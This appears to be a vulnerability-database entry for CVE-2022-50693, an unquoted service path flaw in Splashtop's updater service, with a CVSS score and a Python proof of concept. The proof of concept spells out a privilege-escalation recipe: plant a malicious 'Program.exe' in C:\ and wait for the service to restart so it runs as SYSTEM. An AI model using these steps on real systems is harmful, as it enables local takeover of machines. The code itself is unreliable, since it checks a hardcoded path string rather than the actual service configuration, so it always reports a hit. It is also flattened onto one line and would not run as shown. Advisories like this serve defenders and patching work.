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CVE-2022-50693 CVSS 8.4 HIGH

CVE-2022-50693

Published: 2026-01-13 23:15:49
Last Modified: 2026-04-15 00:35:42

Description

Splashtop 8.71.12001.0 contains an unquoted service path vulnerability in the Splashtop Software Updater Service that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted path in C:\Program Files (x86)\Splashtop\Splashtop Software Updater\ to inject malicious executables and escalate privileges.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Splashtop Remote Client 8.71.12001.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2022-50693 PoC - Unquoted Service Path # Target: Splashtop Software Updater Service # Path: C:\Program Files (x86)\Splashtop\Splashtop Software Updater\ import os import sys def check_unquoted_path(): """Check if Splashtop service has unquoted path vulnerability""" service_path = r'C:\Program Files (x86)\Splashtop\Splashtop Software Updater\SSUS.exe' # Check if path contains spaces (required for this vulnerability) if ' ' in service_path and '"' not in service_path: print(f"[*] Service path is unquoted: {service_path}") # Calculate potential hijack points parts = service_path.split('\\') for i, part in enumerate(parts): if ' ' in part: potential_exe = '\\'.join(parts[:i+1]) + '.exe' print(f"[!] Potential hijack point: {potential_exe}") # Check if malicious executable exists if os.path.exists(potential_exe): print(f"[!!] Malicious executable found: {potential_exe}") return True else: print("[-] Service path is properly quoted or no spaces") return False def exploit(): """Exploitation steps""" print("=" * 60) print("CVE-2022-50693 Exploitation Steps:") print("=" * 60) print("1. Create malicious executable named 'Program.exe'") print("2. Place it in C:\\ directory") print("3. Wait for Splashtop Software Updater Service restart") print("4. Malicious code executes with SYSTEM privileges") print("=" * 60) if __name__ == '__main__': check_unquoted_path() exploit()

References

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